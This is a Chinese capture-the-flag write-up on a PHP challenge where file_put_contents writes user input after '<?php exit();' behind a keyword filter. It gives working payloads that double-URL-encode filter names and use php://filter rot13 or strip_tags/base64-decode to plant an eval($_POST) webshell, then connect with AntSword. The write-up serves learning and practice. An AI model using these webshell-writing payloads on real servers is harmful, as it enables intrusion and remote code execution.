知识点
解题
审计
源码:
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
发现利用点:
file_put_contents($content,'<?php exit();'.$content);
同时发现存在过滤:
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
确定思路是绕过preg_match
和<?php exit();
,然后利用file_put_contents()
写 shell
绕过
绕过preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)
方法:二次编码
原因:file_put_contents 中可以调用伪协议,而伪协议处理时会对过滤器 urldecode一次
举个例子:
URL地址栏输入:
?content=php://filter/write=string.%7%32ot13/resource=shell.php
后端$content = $_GET['content']后变为:
$content=php://filter/write=string.%72ot13/resource=shell.php
伪协议处理时:
$content=php://filter/write=string.rot13/resource=shell.php
绕过<?php exit();
方法:利用 php://filter
利用 rot13过滤器,结合前面的二次编码绕过,得出下面的payload,然后用蚁剑连接即可,flag在根目录下。
?content=php://filter/write=string.%7%32ot13|?><?cuc riny($_CBFG['synt']);?>|/resource=shell.php
# <?cuc riny($_CBFG['synt']);?> 是 <?php eval($_\POST['flag']);?> 的rot13编码
# <?php eval($_\POST['flag']);?> 前面的 ?> 是为了闭合 <?php exit(); 中的 <?,防止 php://filter 中的 // 将后面的内容注释掉
注意:
$content 既是文件名,又是文件内容。使用 php://filter:
?content=php://filter/write=<过滤器>/resource=shell.php
第一个 $content 会被解析为 shell.php,而第二个 $content 还是 php://filter/write=<过滤器>/resource=shell.php。
因为 php://filter 面对不可用的过滤器只是报个Warning,然后跳过继续执行,所以我们可以将 shell 写入过滤器中。
其他
我还试了 string.strip_tag + convert.base64-decode ,但是总是显示容器错误,不知道为什么?先贴出来payload,求大佬
?content=php://filter/write=string.strip_tags|convert.%6%32ase64-decode|?>PD9waHAgZXZhbCgkX1BPU1RbJ2ZsYWcnXSk7Pz4=aaa/resource=shell.php